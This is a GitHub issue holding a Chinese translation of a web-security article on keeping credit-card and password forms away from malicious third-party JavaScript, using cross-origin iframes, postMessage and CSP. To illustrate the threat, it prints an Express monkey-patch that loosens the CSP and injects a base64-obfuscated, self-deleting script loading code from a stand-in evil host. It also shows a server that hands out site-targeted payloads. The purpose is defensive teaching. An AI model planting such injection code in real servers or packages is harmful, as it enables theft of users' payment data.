git-blog icon indicating copy to clipboard operation
git-blog copied to clipboard

如何阻止我从您的网站收集信用卡号码和密码

Open luke93h opened this issue 7 years ago • 0 comments

如何阻止我从您的网站收集信用卡号码和密码

译者:原文地址-Part 2: How to stop me harvesting credit card numbers and passwords from your site,以下为译文:

我最近写了一篇文章译文),描述了我如何注入恶意代码,这些代码以一种很难检测到的方式从数千个网站收集信用卡号和密码。

这篇文章收到的评论让我感到高兴,比如“不寒而栗”,“令人不安”和“可怕至极”等情感。(就像我在舞池上收到的赞美一样。)

在这篇文章中,我会提出一些实用的建议。

概要

  • 没必要杜绝第三方代码
  • 敏感信息,请放在单独的HTML文件中处理,并确保该html中没有第三方代码。
  • 在iframe中加载该html
  • 从不同域上的静服务器提供此html
  • 您还可以考虑通过使用第三方登录和第三方处理信用卡来完全避免敏感数据。

我在这篇文章中建议的东西只适用于敏感信息(密码,信用卡号等)非常有限且可以隔离开的网站。如果的网页是聊天应用或邮箱客户端或数据库界面(所有数据是敏感的),我无能为力。

十八倍长的版本

我认为适当的忧虑是不错的开始。

我建议您想象一下,当您看到OnePlus 最近发布的公告时,会是什么样的感觉:

...支付页面被注入恶意脚本,信用卡信息泄漏...恶意脚本间歇性地操作,直接从用户的浏览器盗窃数据... oneplus.net上的多达40k用户可能会受到影响


现在让我把用更具象的东西来体现这种模糊的恐惧感。

也许动物会有用......

如果把第三方代码比作一个条杜宾犬。尽管它看起来平静,温柔。但是在它那黑色,温柔的眼睛里,有一种未知的闪烁。我只想说,我不会把我珍爱的东西放在它的附近。

用户的敏感信息描可以看做一只可爱的小仓鼠。我看着它无辜地舔着它的小前脚,梳理它愚蠢的小脸,小仓鼠完全没有注意到杜宾犬,并在杜宾犬面前随意嬉戏。

如果你曾经养过杜宾犬(我强烈推荐),你可能知道他们是美妙,温和的生物,不应该得此恶名。尽管如此,我相信你依旧会同意,让小仓鼠和杜宾犬独处是个坏主意。

当然,你下班回到家后,也许会看到Bagnt Pants教授在Chompers中士的背上睡着的可爱场景。当然,更可能的事仓鼠的位置啥也没了,只剩下一只头歪向一边的狗,好像在问“今天我的甜点是什么呢?”


我不认为来自npm,GTM或DFP或其他任何地方的代码应该被贴上不安全的标签。但我建议,除非你能保证这段代码是可信的,否则将其与用户的敏感信息放在一起是不负责任的。

所以...这就是我建议大家采用的策略:敏感信息和第三方代码不应该同时存在。

例子:修复一个易受攻击的网站

此示例中的网站中有易受第三方恶意代码攻击的信用卡表单,就像您可能认为在安全性方面更好的几个非常大的电子商务网站上的那些。

yewai

此页面充满了第三方代码。它使用了React,并通过Create React App创建,所以它在我开始之前有886个npm包(严重)。

它也有谷歌标签管理器( Google Tag Manager,它可以让陌生人在你的网站中注入JavaScript,而不需要经过代码审查)。

另外,我这里还有一个横幅广告。这是互联网上的一则广告,因此需要分请求布在112个网络请求上总共1.5 MB的JavaScript,这导致有11秒的时间完全倾斜在CPU上,以加载单个动画gif,于此同时信用卡信息会飞一般被发送出去。

(吐槽:为此我对谷歌很失望。他们的开发人员花很多时间教我们如何快速制作网页;在这里减掉几万字节,在那里优化几毫秒 - 这些都是很棒的优化。但同时他们允许DFP广告联盟向用户的设备发送数兆资源,发起数百个网络请求,导致数秒时间CPU被塞满。谷歌,我期待您能提供更加合理,快捷的广告投放方式。)


好的,回到正题......显然,我需要做的是把用户的敏感信息保护起来,远离所有第三方恶意代码 ; 我希望它们能待在属于自己的小岛上。就像这样:

yewai

现在,你已经看完了本文的2/5,我将开始讲述一些实用的方法。

  • 选项1:将信用卡表单移动到没有第三方JavaScript的document中,并将其作为单独的页面
  • 选项2:选项1的基础上,页面在iframe中提供
  • 选项3:选项2的基础上,父页面和iframe通过postMessage相互通信

选项1:处理敏感数据的单独页面

最简单的方法是创建一个没有JavaScript的全新页面。

yewai

不幸的是,因为我的网站的页眉,页脚和导航都是React组件,所以我不能在这个页面上使用它们。所以你看到的'标题'是我的完整标题的手动复制,没有所有常用功能。只是一个蓝色矩形。

当用户填完表格时,他们会点击提交,并重定向到下一个页面。这可能需要进行一些后端验证,以处理们在页面中提交的数据。

为了让这个文件保持漂亮和苗条,我使用原生的表单验证,而不是JavaScript ,而且由于required和pattern属性,达到JavaScript验证般的体验需要花费很大的精力。

如果你想看到它的实际效果,示例在这里


如果您打算这样做,我建议把所有代码全部保存在一个文件中。

复杂性是这里的敌人。上面例子的HTML文件 - 嵌入在<style>标签中的CSS - 大约有100行; 因为它太小而且没有发起网络请求,所以几乎不可能在未被发现的情况下干涉代码。

不幸的是,这种方法需要复制CSS。我已经想了很久了,并想出了几种方法。如果想要能避免重复的代码,这其中的逻辑会需要比这几行css本身更多的代码。

“不要写重复的代码”极好的指导,但它不应被视为必须遵守。在极少数情况下,如此处所述,重复的代码是两害中的较小者。

最有用的规则是您知道何时打破规则。

选项2:在选项1的基础上,应用iframe

第一种选择是好的,但是对UI和UX,有一定的损失,但别人拿走用户的钱往往是在最后一步执行。

选项2通过将表单放在iframe中来解决此问题。

你可能会这样做:

<iframe
  src = '/credit-card-form.html '
  title = 'credit card'
  height = ' 460 '
  width = ' 400 '
  frameBorder = ' 0 '
  scrolling = ' no '
/>

在该示例中,父页面和iframe的内容仍然可以自由地看到彼此并且彼此交互。这就像把一个杜宾犬放在一个房间里,仓鼠放在另一个房间里,在他们之间有一扇门,当杜宾犬饿的慌时时,它只需要简单地推开门。

译者:通过document.getElementById('iframe的ID').contentWindow.document,可以获取iframe中的document

我需要的是iframe保持沙盒模式。它(我刚学会)与iframe 的sandbox属性无关,因为那是关于从iframe中保护父页面。我想要的是从父页面中保护iframe的内容。

幸运的是,浏览器对不同来源的内容存在内在的不信任感。它被称为同源政策 。

因此,只需从不同的域加载帧就足以阻止两者之间的通信。


<iframe
  src = ' https://different.domain.com/credit-card-form.html '
  title = '信用卡表'
  height = ' 460 '
  width = ' 400 '
  frameBorder = ' 0 '
  scrolling = ' no '
/>

如果你想知道某个iframe内容的可访问性(a、对你有好处,b、以后不会再疑惑)。根据WebAIM的说法:内联的iframe并没有什么可访问性问题。内联iframe的内容在遇到它时(基于标记顺序)读取,就好像它是父页面中的内容一样。


让我们考虑表单填写完后会发生什么。用户将点击iframe中的提交按钮,我希望它能够导航父页面。但如果它们的源不同,这可能吗?

是的,这就是表单target属性的用途:

<form
  action="/pay-for-the-thing"
  method="post"
  target="_top"
>
  <!-- form fields -->
</form>

因此,用户可以将其敏感信息键入到与周围页面无缝匹配的表单中。然后,当他们提交时,顶层页面将被重定向以响应表单提交。

选项2是安全性的巨大提升 - 我不再拥有的信用卡表单不在容易被攻击。但它在可用性方面仍然有退步。

理想的解决方案不需要任何重定向...

选项3:iframe和父页面之间的沟通

在我的示例网站中,我实际上希望能保留信用卡数据的数据,以及正在购买的产品的详情,并通过AJAX提交所有信息。

这非常容易。我将用postMessage将表单中的数据发送到父页面。

这是iframe中提供的页面...


<body>
  <form id="form">
    
    <!-- form stuff in here -->
    
  </form>

  <script>
    var form = document.getElementById('form');
    form.addEventListener('submit', function(e) {
      e.preventDefault();
      var payload = {
        type: 'bananas',
        formData: {
          a: form.ccname.value,
          b: form.cardnumber.value,
          c: form.cvc.value,
          d: form['cc-exp'].value,
        },
      };
      window.parent.postMessage(payload, 'https://mysite.com');
    });
  </script>
</body>

...并且在父页面中(或者更具体地说,在首先请求iframe的React组件中),我只是监听来自iframe的消息并相应地更新状态:

class CreditCardFormWrapper extends PureComponent {
  componentDidMount() {
    window.addEventListener('message', ({ data }) => {
      if (data.type === 'bananas') {
        this.setState(data.formData);
      }
    });
  }

  render() {
    return (
      <iframe
        src="https://secure.mysite.com/credit-card-form.html"
        title="credit card form"
        height="460"
        width="400"
        frameBorder="0"
        scrolling="no"
      />
    );
  }
}

如果有需要,我可以在onchange每个输入单独的事件中将数据从表单发送到父级。

虽然我很活跃,但没有什么能阻止父页面进行一些验证并将有效状态发送回简单的Jane表单。这允许我重用我站点中其他地方的任何验证逻辑。

有两位聪明的朋友建议iFrame可以提交数据,无需重定向父页面,然后使用成功/失败状态回传给父页面postMessage。这样,就不会有任何数据发送到父页面。

译者:也可以将加密后的表单数据传给父页面,避免有第三方代码监听message事件

就是这样了!您用户的敏感信息可以安全地输入到不同来源的iframe中,隐藏在父页面之外,但捕获的数据仍然可以是应用状态的一部分,这意味着用户体验上没有任何改变。


此时,您可能会认为将信用卡数据发送到父页面会使整个任务失效。那么它是否可以被任何恶意代码访问?

这个答案可以分为两个部分来讲。

从黑客的角度来看,我认为这是一个可以接受的风险。想象一下,你的工作是想出一些可以在任何网站上运行的恶意代码,寻找敏感信息并将其发送到某个服务器。但每次发送东西时,都有被抓住的风险。因此,必须发送确定有价值的数据才符合黑客的最佳利益。

如果我是那个黑客,当数以千计的网站具有完全脆弱的信用卡表单,并且带有整齐标记的输入时,我没必要去监听message事件,来截获数据。

第二部分的回答是,如果你担心的恶意代码不仅仅是一些通用的代码,它可能会针对您的网站,message事件,并截获信用卡信息。我会单独拿出一部分来讲述,如何从针对性的恶意代码中来保护自己的网站......

通用的恶意代码和针对性的恶意代码

到目前为止,我描述了通用的恶意代码。也就是说,代码不知道它正在运行什么网站,它只是寻找,收集敏感信息并将敏感信息发送给远端服务器。

另一方面,有针对性的恶意代码是专门为您的网站设计的。它由熟练的开发人员精心设计,他花了几周时间熟悉您网页DOM的每个角落。

如果您的网站感染了有针对性的恶意代码,你完蛋了。就是这样。您可能已将所有内容放在安全的iframe中,但恶意代码只会删除iframe并用新的iframe替换。攻击者甚至可以更改您网站上显示的价格,可能会提供50%的折扣,并告诉用户如果他们想要货物,他们需要重新输入他们的信用卡详细信息。

如果您的网站上有针对性的恶意代码,您也可以弯腰捡起一朵花并闻一闻 - 你知道,专注于生活中的积极事物更有意义。

这就是为什么要有content security policy非常重要的原因。否则,攻击者可以通过向恶意服务器发送请求来批量分发通用恶意代码(例如,通过npm包),该恶意代码可以“升级”到目标代码,该服务器返回为您的站点定制的有效负载。


app.get('/analytics.js', (req, res) => {
  if (req.get('host').includes('acme-sneakers.com')) {
    res.sendFile(path.join(__dirname, '../malicious-code/targeted/acme-sneakers.js'));
  } else if (req.get('host').includes('corporate-bank.com')) {
    res.sendFile(path.join(__dirname, '../malicious-code/targeted/corporate-bank.js'));
  } else if (req.get('host').includes('government-secrets.com')) {
    res.sendFile(path.join(__dirname, '../malicious-code/targeted/government-secrets.js'));
  } else if (req.get('host').includes('that-chat-app.com')) {
    res.sendFile(path.join(__dirname, '../malicious-code/targeted/that-chat-app.js'));
  } else {
    res.sendFile(path.join(__dirname, '../malicious-code/generic.js'));
  }
});

攻击者可以自由更新,并在闲暇时添加到目标代码中。

你真的需要CSP!


好的,这是很长的说法:将iframe中的敏感数据用postMessage发送到父级,会略微增加您的风险。通用的恶意代码不太可能会利用这一点,但是针对性的代码无论如何都会获得用户的信用卡数据。

(郑重说明,我不会在我自己的小网站上使用选项1,2 或 3.我让专业人士处理我的信用卡数据,并且只提供Google / Facebook / Twitter的登录。如果你的未注册社交用户的收入和安全捕获和存储密码的成本大于风险所带来的收入总和,你不需要遵守这条规则)

译者总结:主要是两种办法:1.加content security policy。2.将表单隔离到单独安全的html中

其他漏洞点

译者:一下为扩展补充,并不常见,如有兴趣,可以继续阅读下去

您可能会认为,如果您遵循上述建议,那么您就会安然无恙。不。我可以想到你可能遇到麻烦的其他四个地方,我发誓要用人群的智慧来持续更新这篇博客。

1.在服务器上

我现在有一个超轻量级的HTML文件,准备处理用户输入而免于被监视。我只需要将它粘贴在某个地方,以便它可以从一个单独的域提供。

也许我会在某个地方启动一个简单的Node服务器。只因我想添加一个小的日志包......

yewai

好的,添加了204个包,但您可能想知道在仅提供文件的服务器上运行的代码,如何会危及在浏览器中键入的用户数据呢?

好吧,问题是你的服务器上运行的任意npm包的代码,都可以为所欲为,包括处理网络请求。

现在,我只是一个容易被this和call混淆的骗子开发,即使这样,我也可以编辑响应头的CSP,并在静态文件中注入代码,使网页请求我的邪恶域。

const fs = require('fs');
const express = require('express');

let indexHtml;
const originalResponseSendFile = express.response.sendFile;

express.response.sendFile = function(path, options, callback) {
  if (path.endsWith('index.html')) {
    // add my domain to the content security policy
    let csp = express.response.get.call(this, 'Content-Security-Policy') || '';
    csp = csp.replace('connect-src ', 'connect-src https://adxs-network-live.com ');

    express.response.set.call(this, 'Content-Security-Policy', csp);

    // inject a cheeky little self-destructing script
    if (!indexHtml) {
      indexHtml = fs.readFileSync(path, 'utf8');

      const script = `
        <script>
          var googleAuthToken = document.createElement('script');
          googleAuthToken.textContent = atob('CiAgICAgICAgY29uc3Qgc2NyaXB0RWwgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsKICAgICAgICBzY3JpcHRFbC5zcmMgPSAnaHR0cHM6Ly9ldmlsLWFkLW5ldHdvcms/YWRfdHlwZT1tZWRpdW0nOwogICAgICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoc2NyaXB0RWwpOwogICAgICAgIHNjcmlwdEVsLnJlbW92ZSgpOyAvLyByZW1vdmUgdGhlIHNjcmlwdCB0aGF0IGZldGNoZXMKICAgICAgICBkb2N1bWVudC5zY3JpcHRzW2RvY3VtZW50LnNjcmlwdHMubGVuZ3RoIC0gMV0ucmVtb3ZlKCk7IC8vIHJlbW92ZSB0aGlzIHNjcmlwdAogICAgICAgIGRvY3VtZW50LnNjcmlwdHNbZG9jdW1lbnQuc2NyaXB0cy5sZW5ndGggLSAxXS5yZW1vdmUoKTsgLy8gYW5kIHRoZSBvbmUgdGhhdCBjcmVhdGVkIGl0CiAgICA=');
          document.body.appendChild(googleAuthToken);
        </script>
      `;

      indexHtml = indexHtml.replace('</body>', `${script}</body>`);
    }

    express.response.send.call(this, indexHtml);
  } else {
    originalResponseSendFile.call(this, path, options, callback);
  }
};

当注入的脚本进入浏览器时,它将从邪恶的服务器加载一些(可能有针对性的)恶意JavaScript(可以因为CSP说它没问题),然后删除它自己的所有痕迹。

上面的要点本身并没有实际用处(正如眼尖的读者发现的那样),真正的黑客可能不会像这样使用Express。我只是为了说明了你的服务器是很简陋的,并且那里运行的任何东西都有机会窃取用户在浏览器中输入的数据。

(如果您是软件包作者,可以考虑使用Object.freeze或Object.defineProperty中的writable: false以锁定您的内容。)


实际上,认为有Node模块做出与出站请求相关的事情可能有点牵强 - 对我而言,这太容易被发现了。

我们的目的是创建一个不包含任何第三方代码的程序,但这里又给了第三方代码修改代码的机会。真的要这样做吗?这取决于你。

我的建议是从静态文件服务器提供这些“安全”文件,或者干脆不要做任何事。

2.发送到静态文件服务器

是的,标题既是我们要做的是,也是漏洞的名称。

我是Firebase静态托管的忠实粉丝,因为它能提供你所能期待的最高速度了,而且部署很容易。

只需从npm安装firebase-tools和...哦!天啊!我正在使用npm包来避免npm包。

好吧,深呼吸David,也许这是那些美丽的零依赖包之一。

正在安装......安装......

yewai

天啊!640个依赖包!

好的,我放弃提出建议,你只能靠你自己了。只能以某种方式将HTML文件放到服务器上。在某些时候,我们需要信任陌生人编写的代码。

有趣的事实:写这篇文章需要几个星期的时间。我正在进行最终草案,我刚刚再次安装了Firebase工具,以检查我的数字是否正确...

yewai

我想知道这七个新包的作用是什么?我想知道管理Firebase开发者是否知道这七个新软件包的作用是什么?我想知道是否有人知道他们的包装需要什么依赖?

3. Webpack

您可能已经注意到我没有建议您将“安全”HTML文件添加到构建通道中(例如,共享CSS),即使这样可以解决代码重复问题。

这是因为即使是最简单的Webpack构建,也会涉及数百个包,其中的任何一个都可能会修改构建过程的输出。Webpack本身需要367个包。像css-loader这样良性的loader会增加246 个。为了放入正确的CSS文件,您会使用优秀html-webpack-plugin,但它将添加156个包。

尽管,我认为这些包中的任意一个都不会将脚本注入到您压缩后的代码中。但是,如果花费巨大的精力去制作一个原始的,手写的,人类可读的仓鼠友好的HTML文件是错误的,只是在睡觉前用几百个杜宾犬处理它。

4.无能的攻击

最后要防范的,也是最危险的事。这些东西可以修改你编写的任何代码,并清除你提出的任何安全防范:就像一个6岁大的孩子一样,不知道他们在做什么。

这实际上是最难防范的事情之一。我能想到的唯一解决方案是各种“单元测试”,确保在任何这些“安全”文件中都没有外部脚本。

const fs = require('fs');
const path = require('path');
const { JSDOM } = require('jsdom');

it('should not contain any external scripts, ask David why', () => {
  const creditCardForm = fs.readFileSync(path.resolve(__dirname, '../public/credit-card-form.html'), 'utf8');

  const dom = new JSDOM(
    creditCardForm,
    { runScripts: 'dangerously' },
  );

  const scriptElementWithSource = dom.window.document.querySelector('script[src]');
  expect(scriptElementWithSource).toBe(null);
});

我允许<script>没有src属性(所以,内联代码),但阻止带有src属性的脚本标签。我设置了jsdom去执行脚本,以便我确认是否有人正在利用document.createElement()创建一个新的script元素。

至少在这种情况下,如果想要添加一个脚本,还需要修改一个单元测试,如果运气好,这一举动将引起代码审核员的注意。

在已发布的安全HTML文件上运行此类检查也是一个好主意。然后,您可以更轻松地使用Firebase工具和Webpack之类的工具,因为他们1200个软件包不会修改最终的输出。

包起来

在我离开之前,我想谈谈过去几周我听到很多的声音 - 开发人员应该尽量少使用npm包。

我理解这背后的原因:第三方包可能是恶意的,更少的第三方包装意味着更加安全。

但这是一个糟糕的建议: 即使您使用了较少的 npm包,但是您的安全性依然不能得到保障。

这就像让你的仓鼠独自与更少的杜宾犬待一起一样。


如果我明天开始一个新项目,创建一个处理高度敏感信息的网站,我依旧会使用React和Webpack以及Babel,就像我一个月前那样。

我不在乎是否有一千个包,或者它们会不断变化,或者其中是否包含恶意代码。

这些对我来说都不重要,因为我不打算将他们中的任何一个留在Baggy Pants教授的房间里。

luke93h avatar Oct 29 '18 03:10 luke93h